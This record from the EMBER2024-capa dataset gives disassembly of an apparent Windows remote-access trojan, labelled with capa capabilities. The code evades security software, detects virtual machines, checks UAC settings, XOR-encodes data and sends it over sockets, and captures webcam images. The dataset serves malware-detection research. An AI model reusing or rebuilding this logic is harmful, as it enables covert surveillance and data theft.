joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406920
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43509c
mov eax, dword fs:[0]
push eax
sub esp, 0x180
mov eax, dword [0x442754]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0x118]
push eax
xor ebx, ebx
push 0x104
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
cmp eax, ebx
je 0x406af9
push ebx
push 0x439bba
lea ecx, [ebp - 0x150]
lea edi, [ebp - 0x118]
mov dword [ebp - 0x13c], 0xf
mov dword [ebp - 0x140], ebx
mov byte [ebp - 0x150], bl
call fcn.00417270
mov byte [ebp - 4], 1
cmp byte [edi], bl
je 0x406ab4
mov al, byte [edi]
mov dword [ebp - 0x120], 0xf
mov byte [ebp - 0x134], al
mov dword [ebp - 0x124], 1
mov byte [ebp - 0x133], bl
push 2
mov eax, 0x43a9b4
lea ecx, [ebp - 0x134]
mov byte [ebp - 4], 2
call fcn.00414530
lea ecx, [ebp - 0x134]
push ecx
lea edx, [ebp - 0x188]
push edx
call fcn.00418e60
add esp, 8
push eax
mov eax, 0x43a9b8
lea ecx, [ebp - 0x16c]
mov byte [ebp - 4], 3
call fcn.00418d50
add esp, 4
push ebx
push eax
or eax, 0xffffffff
lea esi, [ebp - 0x150]
mov byte [ebp - 4], 4
call fcn.00415a70
mov esi, 0x10
cmp dword [ebp - 0x158], esi
jb 0x406a3f
mov eax, dword [ebp - 0x16c]
push eax
call fcn.0041bbe0
add esp, 4
mov dword [ebp - 0x158], 0xf
mov dword [ebp - 0x15c], ebx
mov byte [ebp - 0x16c], bl
cmp dword [ebp - 0x174], esi
jb 0x406a6c
mov ecx, dword [ebp - 0x188]
push ecx
call fcn.0041bbe0
add esp, 4
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x406a71
sub eax, edx
mov byte [ebp - 4], 1
lea edi, [edi + eax + 1]
cmp dword [ebp - 0x120], esi
jb 0x406a99
mov edx, dword [ebp - 0x134]
push edx
call fcn.0041bbe0
add esp, 4
mov dword [ebp - 0x120], 0xf
mov dword [ebp - 0x124], ebx
mov byte [ebp - 0x134], bl
jmp 0x4069a1
mov eax, dword [ebp - 0x150]
mov edi, 0x10
cmp dword [ebp - 0x13c], edi
jae 0x406acd
lea eax, [ebp - 0x150]
push eax
call fcn.004305ff
add esp, 4
mov esi, eax
cmp dword [ebp - 0x13c], edi
jb 0x406aef
mov eax, dword [ebp - 0x150]
push eax
call fcn.0041bbe0
add esp, 4
mov eax, esi
jmp 0x406afe
mov eax, 0x439650
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
Function at 0x407120
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x130
mov eax, dword [0x442754]
xor eax, esp
mov dword [esp + 0x12c], eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
push 2
mov dword [esp + 0x10], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x407190
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x407189
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [esp + 0x10], eax
je 0x4071a6
lea ecx, [esp + 8]
push ecx
push esi
call edi
test eax, eax
jne 0x407171
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x12c]
xor ecx, esp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
mov edx, dword [esp + 0x20]
push esi
mov dword [ebx], edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x134]
pop edi
pop esi
xor ecx, esp
mov eax, 1
call fcn.0041ba21
mov esp, ebp
pop ebp
ret

Function at 0x4071d0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
call fcn.00405e90
mov edi, eax
mov ecx, str.ZhuDongFangYu.exe
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x407206
test dl, dl
je 0x407202
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x407206
add eax, 2
add ecx, 2
test dl, dl
jne 0x4071e6
xor eax, eax
jmp 0x40720b
sbb eax, eax
sbb eax, 0xffffffff
lea ebx, [esp + 0xc]
test eax, eax
jne 0x40727f
call fcn.00407120
test eax, eax
je 0x4072f3
mov eax, dword [esp + 0xc]
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x4072f3
push 0x104
call fcn.0041c606
add esp, 4
push 0x104
mov esi, eax
push esi
push 0
push ebx
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
test eax, eax
je 0x4072ec
push 0x5c
push esi
mov dword [0x45f40c], esi
call fcn.0041d5d0
add esp, 8
test eax, eax
je 0x4072ec
inc eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00407120
test eax, eax
je 0x4072f3
mov ecx, dword [esp + 0xc]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x4072f3
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
cmp byte [esi], 0x22
jne 0x4072c0
inc esi
push 0x22
push esi
call fcn.0041d250
add esp, 8
test eax, eax
je 0x4072c0
mov byte [eax], 0
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4072c5
sub eax, edx
je 0x4072db
cmp byte [eax + esi - 1], 0x22
jne 0x4072db
mov byte [eax + esi - 1], cl
push 0x5c
push esi
mov dword [0x45f40c], esi
call fcn.0041d5d0
add esp, 8
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408a10
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 0xc]
mov ecx, str.QmlnVXBsb2FkRmluaXNoZWQ
mov eax, edi
mov edi, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x408a40
test dl, dl
je 0x408a3c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x408a40
add eax, 2
add ecx, 2
test dl, dl
jne 0x408a20
xor eax, eax
jmp 0x408a45
sbb eax, eax
sbb eax, 0xffffffff
push esi
test eax, eax
jne 0x408abe
push 0x43af3c
call fcn.0041cb2c
mov eax, dword [0x45f41c]
push eax
call fcn.0041cc56
mov ecx, dword [ebp + 0x10]
push 0x43a980
push ecx
push str._Success
push 3
call fcn.00402eb0
add esp, 0x18
mov esi, eax
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408a80
sub eax, edx
mov edx, dword [ebp + 8]
push esi
push edx
mov edi, eax
call fcn.00412810
add esp, 8
test esi, esi
je 0x408aa5
push esi
call fcn.0041ba30
add esp, 4
mov edi, dword [ebp + 0xc]
mov byte [0x45f411], 0
mov dword [0x45f41c], 0
jmp 0x408b51
mov al, byte [0x45f411]
test al, al
jne 0x408b15
lea eax, [ebp + 0xc]
push eax
push edi
call fcn.00402ce0
mov esi, eax
mov eax, dword [0x45f41c]
add esp, 8
test eax, eax
jne 0x408af9
mov ecx, dword [ebp + 0x10]
push 0x43af44
push ecx
call fcn.0041ca5f
add esp, 8
mov dword [0x45f41c], eax
test eax, eax
je 0x408b51
mov edx, dword [ebp + 0xc]
push eax
push edx
push 1
push esi
call fcn.0041d088
push esi
call fcn.0041ba30
mov byte [0x45f411], 1
jmp 0x408b4e
cmp al, 1
jne 0x408b51
push 0x43af48
call fcn.0041cb2c
lea eax, [ebp + 0xc]
push eax
push edi
call fcn.00402ce0
mov esi, eax
mov eax, dword [0x45f41c]
add esp, 0xc
test eax, eax
je 0x408b51
mov ecx, dword [ebp + 0xc]
push eax
push ecx
push 1
push esi
call fcn.0041d088
push esi
call fcn.0041ba30
add esp, 0x14
pop esi
test edi, edi
je 0x408b5f
push edi
call fcn.0041ba30
add esp, 4
mov eax, dword [ebp + 0x10]
pop edi
test eax, eax
je 0x408b70
push eax
call fcn.0041ba30
add esp, 4
mov eax, str.success
pop ebp
ret
Function at 0x408b80
Capabilities:
Encode data using xor
Enumerate processes
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x10534
call fcn.0042eb80
mov eax, dword [0x442754]
xor eax, esp
mov dword [esp + 0x10530], eax
push ebx
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x408bd9
push str.Failed_to_create_process_snapshot._n
call fcn.0041cb2c
add esp, 4
mov eax, 0x439bba
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x10530]
xor ecx, esp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x10]
push eax
push ebx
mov dword [esp + 0x18], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
jne 0x408c1f
push str.Failed_to_retrieve_the_first_process._n
call fcn.0041cb2c
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x439bba
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x10530]
xor ecx, esp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
push 0xfffe
lea ecx, [esp + 0x53d]
push 0
push ecx
mov byte [esp + 0x544], 0
call fcn.00421fd0
add esp, 0xc
mov edx, dword [esp + 0x18]
push edx
call fcn.004053b0
lea ecx, [esp + 0x53c]
add esp, 4
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x408c55
push eax
mov eax, dword [esp + 0x1c]
push eax
lea edx, [esp + 0x3c]
push edx
sub ecx, esi
mov eax, 0xfffe
sub eax, ecx
push str._s__
push eax
lea ecx, [esp + 0x14c]
push ecx
call fcn.0041d516
lea eax, [esp + 0x150]
add esp, 0x18
mov ecx, eax
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x408c90
lea edi, [esp + 0x538]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x408ca3
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea edx, [esp + 0x10]
mov ecx, eax
push edx
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x408c3e
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x43a980
lea eax, [esp + 0x53c]
push eax
push 0x43afb8
push 3
call fcn.00402eb0
add esp, 0x10
mov dword [esp + 0xc], eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408cf7
sub eax, edx
mov edi, eax
lea ebx, [edi + 1]
push ebx
call fcn.0041c606
add esp, 4
push ebx
mov esi, eax
push 0
push esi
call fcn.00421fd0
add esp, 0xc
test esi, esi
je 0x408d3e
mov ecx, dword [esp + 0xc]
push edi
push ecx
push esi
call fcn.00420fc0
add esp, 0xc
xor eax, eax
test edi, edi
je 0x408d3e
xor byte [eax + esi], 0xbb
inc eax
cmp eax, edi
jb 0x408d35
mov edx, dword [ebp + 8]
push 0
push edi
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [esp + 0x1053c]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, str.success
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
Function at 0x408d70
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x442754]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 2
mov esi, ecx
mov dword [ebp - 0x138], eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x408dc6
lea ecx, [ebp - 0x134]
push ecx
push edi
mov dword [ebp - 0x134], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
jne 0x408de0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x12c], esi
je 0x408dfc
lea edx, [ebp - 0x134]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x408de0
jmp 0x408e71
push esi
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x408e52
mov eax, dword [ebp - 0x138]
push 0x104
push eax
push 0
push esi
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
test eax, eax
je 0x408e4b
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push esi
call edi
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x138]
lea eax, [ebp - 0x110]
mov ecx, eax
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x408e62
mov ebx, 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
pop edi
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
Function at 0x40a880
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x442754]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
xor esi, esi
push esi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x40a8cb
lea eax, [ebp - 0x134]
push eax
push edi
mov dword [ebp - 0x134], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
jne 0x40a8de
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
mov ebx, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, dword [ebp + 8]
cmp dword [ebp - 0x11c], ecx
jne 0x40a93b
mov ecx, str.WerFault.exe
lea eax, [ebp - 0x110]
lea ebx, [ebx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a920
test dl, dl
je 0x40a91c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a920
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a900
xor eax, eax
jmp 0x40a925
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40a93b
mov edx, dword [ebp - 0x12c]
push edx
push eax
push 1
call ebx
mov esi, eax
test esi, esi
jne 0x40a94d
lea eax, [ebp - 0x134]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x40a8e4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041ba21
mov esp, ebp
pop ebp
ret

Function at 0x40a970
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x442754]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor esi, esi
push esi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x40a9bb
lea eax, [ebp - 0x130]
push eax
push edi
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
jne 0x40a9ce
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
mov ebx, dword [sym.imp.KERNEL32.dll_OpenProcess]
jmp 0x40a9e0
mov ecx, str.WerFault.exe
lea eax, [ebp - 0x10c]
jmp 0x40a9f0
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40aa10
test dl, dl
je 0x40aa0c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40aa10
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a9f0
xor eax, eax
jmp 0x40aa15
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40aa2b
mov ecx, dword [ebp - 0x128]
push ecx
push eax
push 1
call ebx
mov esi, eax
test esi, esi
jne 0x40aa3d
lea edx, [ebp - 0x130]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x40a9e0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
Function at 0x40bc30
Capabilities:
Check if file exists
Encode data using xor
Get file attributes
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40bca8
test al, 0x10
jne 0x40bca8
push esi
call fcn.0041cb2c
push 0x43b9a4
call fcn.0041cb2c
push 0x43a998
call fcn.0041cb2c
push 0x43a980
push esi
push str._FileExist1
push 3
call fcn.00402eb0
mov ecx, eax
add esp, 0x1c
lea esi, [ecx + 1]
lea esp, [esp]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x40bc80
push eax
mov eax, dword [ebp + 8]
sub ecx, esi
push eax
mov edi, ecx
call fcn.00412810
push 0x43b9c0
call fcn.0041cb2c
add esp, 0xc
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push esi
call fcn.0041cb2c
push 0x43b9d0
call fcn.0041cb2c
push 0x43a998
call fcn.0041cb2c
push 0x43a980
push esi
push str._FileExist0
push 3
call fcn.00402eb0
add esp, 0x1c
mov dword [ebp - 4], eax
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40bce0
sub eax, edx
mov edi, eax
push ebx
lea ebx, [edi + 1]
push ebx
call fcn.0041c606
push ebx
mov esi, eax
push 0
push esi
call fcn.00421fd0
add esp, 0x10
pop ebx
test esi, esi
jne 0x40bd0c
xor esi, esi
jmp 0x40bd29
mov ecx, dword [ebp - 4]
push edi
push ecx
push esi
call fcn.00420fc0
add esp, 0xc
xor eax, eax
test edi, edi
je 0x40bd29
xor byte [eax + esi], 0xbb
inc eax
cmp eax, edi
jb 0x40bd20
mov edx, dword [ebp + 8]
push 0
push edi
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
push 0x43b9ec
call fcn.0041cb2c
add esp, 4
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40c790
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x442754]
xor eax, ebp
mov dword [ebp - 8], eax
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
push eax
mov dword [ebp - 0x1c], 1
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, 2
push 0
mov word [ebp - 0x16], ax
mov word [ebp - 0x18], cx
call dword [sym.imp.WS2_32.dll_htonl]
push 4
lea edx, [ebp - 0x1c]
push edx
push 4
push 0xffff
push esi
mov dword [ebp - 0x14], eax
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0x10
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
jns 0x40c80c
xor eax, eax
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
push 5
push esi
call dword [sym.imp.WS2_32.dll_listen]
xor ecx, ecx
test eax, eax
setns cl
mov eax, ecx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
Function at 0x40c830
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x442754]
xor eax, ebp
mov dword [ebp - 8], eax
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov eax, 2
push ecx
mov word [ebp - 0x18], ax
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [esi + 0xc]
mov word [ebp - 0x16], ax
mov eax, dword [edx]
mov ecx, dword [eax]
mov eax, dword [ebp + 8]
push 0x10
lea edx, [ebp - 0x18]
push edx
push eax
mov dword [ebp - 0x14], ecx
call dword [sym.imp.WS2_32.dll_connect]
xor ecx, ecx
test eax, eax
setns cl
mov eax, ecx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
Function at 0x40cfe0
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov eax, dword [0x442754]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push edi
lea eax, [ebp - 0x78]
push eax
push 0x20119
push 0
lea ecx, [ebp - 0x44]
push ecx
mov edi, 4
push reloc.WS2_32.dll_bind
mov dword [ebp - 0x44], 0x54464f53
mov dword [ebp - 0x40], 0x45524157
mov bl, 0x5c
mov dword [ebp - 0x3c], 0x4f575c5c
mov dword [ebp - 0x38], 0x33343657
mov dword [ebp - 0x34], 0x646f4e32
mov dword [ebp - 0x30], 0x335c5c65
mov dword [ebp - 0x2c], 0x61533036
mov dword [ebp - 0x28], 0x5c5c6566
mov dword [ebp - 0x24], 0x65666173
mov dword [ebp - 0x20], 0x6e6f6d
mov dword [ebp - 0x1c], 0x556d7648
mov dword [ebp - 0x18], 0x41726573
mov dword [ebp - 0x14], 0x6f697463
mov word [ebp - 0x10], 0x6e
mov dword [ebp - 0x7c], edi
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x80], edi
call esi
test eax, eax
jne 0x40d0cb
lea edx, [ebp - 0x80]
push edx
lea eax, [ebp - 0x74]
push eax
mov eax, dword [ebp - 0x78]
lea ecx, [ebp - 0x7c]
push ecx
push 0
lea edx, [ebp - 0x1c]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40d0cb
cmp dword [ebp - 0x74], 1
jne 0x40d0cb
pop edi
pop esi
mov byte [0x443a79], 1
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x78]
push ecx
push 0x20119
push 0
lea edx, [ebp - 0x70]
push edx
push reloc.WS2_32.dll_bind
mov dword [ebp - 0x70], 0x54535953
mov word [ebp - 0x6c], 0x4d45
mov byte [ebp - 0x6a], bl
mov dword [ebp - 0x69], 0x72727543
mov dword [ebp - 0x65], 0x43746e65
mov dword [ebp - 0x61], 0x72746e6f
mov dword [ebp - 0x5d], 0x65536c6f
mov byte [ebp - 0x59], 0x74
mov byte [ebp - 0x58], bl
mov dword [ebp - 0x57], 0x76726553
mov dword [ebp - 0x53], 0x73656369
mov byte [ebp - 0x4f], bl
mov dword [ebp - 0x4e], 0x48303633
mov word [ebp - 0x4a], 0x6d76
mov byte [ebp - 0x48], 0
mov dword [ebp - 0xc], 0x72617453
mov word [ebp - 8], 0x74
mov dword [ebp - 0x7c], edi
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x80], edi
call esi
test eax, eax
jne 0x40d17e
lea eax, [ebp - 0x80]
push eax
lea ecx, [ebp - 0x74]
push ecx
mov ecx, dword [ebp - 0x78]
lea edx, [ebp - 0x7c]
push edx
push 0
lea eax, [ebp - 0xc]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40d17e
cmp dword [ebp - 0x74], 1
je 0x40d0b1
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov byte [0x443a79], 0
xor al, al
pop ebx
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
Function at 0x40d1a0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, 4
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40d1fb
lea ecx, [ebp - 8]
push ecx
mov ecx, dword [ebp - 4]
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0xc]
push eax
push 0
push str.ConsentPromptBehaviorAdmin
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x40d204
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 2
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp dword [ebp - 0x10], eax
setne al
mov esp, ebp
pop ebp
ret
Function at 0x40e800
Capabilities:
Capture webcam image

Disassembly:
push 0
push 0
push 0xc8
push 0xc8
push 0
push 0
push 0
push 0
call dword [sym.imp.AVICAP32.dll_capCreateCaptureWindowA]
mov dword [0x45f358], eax
test eax, eax
jne 0x40e835
push str.m_hCapWnd_failed_____n
call fcn.0041cb2c
add esp, 4
xor eax, eax
ret
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_IsWindow]
push eax
call edi
mov esi, dword [sym.imp.USER32.dll_SendMessageA]
test eax, eax
je 0x40e8fa
mov eax, dword [0x45f358]
push 0
push 0
push 0x40a
push eax
call esi
cmp eax, 1
jne 0x40e8fa
mov ecx, dword [0x45f358]
push ecx
call edi
test eax, eax
je 0x40e887
mov edx, dword [0x45f358]
push 0
push 0
push 0x433
push edx
call esi
mov eax, dword [0x45f358]
push eax
call edi
test eax, eax
je 0x40e8a5
mov ecx, dword [0x45f358]
push 0
push 0
push 0x432
push ecx
call esi
push 0x2c
push 0
push 0x45f1a0
call fcn.00421fd0
mov edx, dword [0x45f358]
add esp, 0xc
push edx
call edi
test eax, eax
je 0x40e8db
mov eax, dword [0x45f358]
push 0x45f1a0
push 0x2c
push 0x40e
push eax
call esi
test eax, eax
jne 0x40e8e2
push str.capDriverGetCaps_failed_____n
jmp 0x40e8ff
cmp dword [0x45f1b4], 0
je 0x40e8f3
pop edi
mov eax, 1
pop esi
ret
push str.fCaptureInitialized_failed_____n
jmp 0x40e8ff
push str.connect_failed_____n
call fcn.0041cb2c
mov ecx, dword [0x45f358]
add esp, 4
push ecx
call edi
test eax, eax
je 0x40e926
mov edx, dword [0x45f358]
push 0
push 0
push 0x444
push edx
call esi
mov eax, dword [0x45f358]
push eax
call edi
test eax, eax
je 0x40e944
mov ecx, dword [0x45f358]
push 0
push 0
push 0x40b
push ecx
call esi
mov edx, dword [0x45f358]
push edx
call dword [sym.imp.USER32.dll_DestroyWindow]
pop edi
xor eax, eax
pop esi
ret